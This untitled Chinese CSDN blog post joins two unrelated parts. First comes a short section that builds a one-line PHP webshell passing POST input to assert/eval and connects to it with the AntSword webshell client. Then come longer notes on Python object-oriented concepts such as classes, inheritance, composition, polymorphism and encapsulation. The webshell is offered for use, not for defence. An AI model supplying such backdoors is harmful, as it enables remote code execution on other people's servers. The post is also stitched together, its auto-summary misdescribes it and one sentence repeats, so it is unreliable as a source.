【无标题】

本文详细介绍了PHP中的assert函数如何被滥用构造木马,以及涉及的面向对象编程概念,包括类、对象、继承、多态和封装。重点讲解了实例化、属性引用、继承与组合的区别,以及如何利用这些原理进行代码安全防范。
摘要由CSDN通过智能技术生成

assert利用蚁剑登录

构造木马

<?php $_POST["1"]($_POST[""]); ?>

assert() 函数把传入的参数直接当成PHP代码执行,不需要以 ; 结尾

所以木马代码为assert(eval($_POST[‘2’]));

然后保存入蚁剑编辑数据,然后进行连接测试,就会提示连接成功。

python知识点总结
1、类:

一:实例化,二:引用名字(类名.变量名,类名.函数名) 得到一个内存地址,加()就能运行。

2、实例(对象):

引用名字(实例名.类的变量,实例名.绑定方法,实例名.实例自己的变量名)

3、类:
  优点:解决了程序的扩展性,对某个对象进行修改,会立刻反映到整个体系中
  缺点:可控性差,无法预测最终的结果。
  面向对象的程序设计并不是全部。对于软件质量来说,面向对象的程序设计只是用来解决扩展性的问题。
  在python中,用变量表示特征,用函数表示方法,因而类是变量与函数的结合体,对象是变量与方法(指向类的函数)的结合体

4、类属性:特征(变量)和方法(函数)

5、类有两种方法:1.类的实例化;2.属性引用
  1.实例化:
    类名加括号就是实例化,会自动触发__init__函数的运行,可以用它来为每个实例定制自己的特征
  2.属性引用:
    类名.方法

6、对象也称为实例
  对象的属性:对象本身就自有特征(变量)。对象只有一种用法:属性引用

7、类的名称空间和对象的名称空间

创建一个类,就会创建一个类的名称空间,存放类中定义的属性:特征(数据)和方法(函数)
  创建一个对象,及类的实例化,就会创建一个类的名称空间,存放对象的属性。
  注意:对象就是类的实例化,类完成实例化的操作就已经将类的方法绑定到对象上,对象调用方法会现在自己的名称空间去找,找不到会去类的名称空间去找,再找不到会抛异常。它不会去找全局的定义。

查看类的名称空间 类名.dict
  查看对象的名称空间 对象名.dict

绑定方法的核心在于‘绑定’,唯一绑定到一个确定的对象

7.5、继承与派生
  经典类:深度优先
  新式类:广度优先
  查看继承顺序(仅在新式类下):类名.__mro__方法

派生:子类重定义某个方法,但是部分继承父类中这个方法:
  1:super(自己的类,self).父类的函数名字
  2:super只能用于新式类

1)关于继承中方法引用的问题:
  Python总是首先查找对应类型的方法,如果它不能在派生类中找到对应的方法,它才开始到基类中逐个查找。(先在本类中查找调用的方法,找不到才去基类中找)。Python总是首先查找对应类型的方法,如果它不能在派生类中找到对应的方法,它才开始到基类中逐个查找。(先在本类中查找调用的方法,找不到才去基类中找)。

2)何时使用继承:
  多个类之间有公共的属性或方法,可以把这些公共的提取出来作为基类,继承基类,同时特殊的方法或属性在自己类内定义。提高了代码的可扩展性!

7.6、组合(大类内包含小类):

1、组合认知:

软件重用的重要方式除了继承之外还有另外一种方式,即:组合。

组合指的是:在一个类中,部分数据属性是以其他类实例化的对象作为数据属性,称为类的组合
  简单理解就是:大类中包含小类,就是组合。
  组合的用于:1、做关联;2、由小的组成大的

2、组合和继承的区别:
  组合与继承都是有效地利用已有类的资源的重要方式。但是二者的概念和使用场景皆不同。
1、继承:
  通过继承建立了派生类与基类之间的关系,它是一种 ‘是’ 的关系,例如:人是动物。当类之间有很多相同的功能,提取这些共同的功能做成基类,子类实现调用这些功能,还是用继承比较好,比如盖伦是英雄等……
2、组合:
  用组合的方式建立了类与组合的类之间的关系,它是一种‘有’的关系,当类之间有显著不同,并且较小的类是较大的类所需要的组件时,用组合比较好。例如:学生、老师有生日,学生有课程等……

8、多态与多态性

多态(是从定义角度出发):同一类事物的多种形态。(一个抽象类有多个子类,因而多态的概念依赖于继承)例如:动物的多种形态:人,狗,猪。
  多态性(是从使用角度出发):同一种调用方式,不同的执行效果。具有不同功能的函数可以使用相同的函数名,这样就可以用一个函数名调用不同内容的函数。
  多态性依赖于:1.继承;2.定义的接口

9、封装:
  1、封装的本质就是隐藏,将一些复杂的执行过程隐藏起来,留下调用的接口(接口就是函数,称为接口函数;一组接口函数的集合体构成一个接口),我们通过这些接口进行交互,不管程序在内部怎么个应用流转方式,只为得到最后的结果。
  2、数据封装主要原因是:保护隐私;方法封装主要原因是:隔离复杂度。
  3、封装分为两个层面:但无论哪种层面的封装,都要对外界提供好访问你内部隐藏内容的接口

第一层面的封装:其实就是创建类或是对象,通过类名.或对象名.的方式调用对应的方法,这本身就是一种封装。
     注意:对于这一层面的封装(隐藏),类名.和实例名.就是访问隐藏属性的接口

第二个层面的封装:类中把某些属性和方法隐藏起来(或者说定义成私有的),只在类的内部使用、外部无法访问,或者留下少量接口(函数)供外部访问。
    1、在python中用双下划线的方式实现隐藏属性(设置成私有的)。类中所有双下划线开头的名称如__x都会自动变形成:_类名__x的形式;
    2、注意:__名字,这种语法只在定义的时候才会有变形的效果,如果类或者对象已经产生了,就不会有变形效果。变形的过程只在类的定义时发生一次;在定义后的赋值操作,就不会变形
    3、在继承中,父类如果不想让子类覆盖自己的方法,可以将方法定义为私有的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值